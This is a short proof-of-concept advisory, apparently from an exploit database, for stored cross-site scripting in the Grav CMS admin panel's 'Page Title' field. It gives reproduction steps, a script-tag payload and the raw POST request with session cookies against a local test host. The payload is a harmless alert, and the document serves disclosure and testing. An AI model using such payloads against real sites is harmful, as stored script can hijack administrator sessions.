Grav CMS 1.6.30 Cross Site Scripting

`# Exploit Title: Grav CMS 1.6.30 Admin Plugin 1.9.18 - 'Page Title' Persistent Cross-Site Scripting  
# Date: 13-12-2020  
# Exploit Author: Sagar Banwa  
# Vendor Homepage: https://getgrav.org/  
# Software Link: https://getgrav.org/downloads  
# Version: Grav v1.6.30 - Admin v1.9.18  
# Tested on: Windows 10/Kali Linux  
# Contact: https://www.linkedin.com/in/sagarbanwa/  
  
Step to reproduce :  
  
1) log in to the grav-admin panel   
2) Go to Pages   
3) Click on Add   
4) It will ask to Add Page  
5) fill the following details as below   
Page Title : <script>alert(1337)</script>  
Folder Name : sagar_Banwa  
Parent Page : /(root)  
Page Template : Default  
Value : yes  
6) click on the Save button   
7) now Click on Pages again.  
8) your page name will be listed as <script>alert(1337)</script>  
9) Now click on the eye button to see the XSS or you can simply go to http://127.0.0.1/grav-admin/ the XSS will pop-up   
  
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POST /grav-admin/admin/pages HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 230  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/grav-admin/admin/pages  
Cookie: grav-site-a4a23f1-admin=ehrcji8qpnu8e50r839r4oe2on; grav-site-a4a23f1=u5438b49fft2b5d7610a53ne1d; grav-tabs-state={%22tab-options.routes.registration.Security%22:%22data.Security%22%2C%22tab-content.options.advanced%22:%22data.content%22}  
Upgrade-Insecure-Requests: 1  
  
data%5Btitle%5D=%3Cscript%3Ealert%281337%29%3C%2Fscript%3E&data%5Bfolder%5D=sagar_banwa&data%5Broute%5D=%2F&data%5Bname%5D=default&data%5Bvisible%5D=1&data%5Bblueprint%5D=&task=continue&admin-nonce=d488c0d8bdaf2978d50f174942d5279f  
  
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`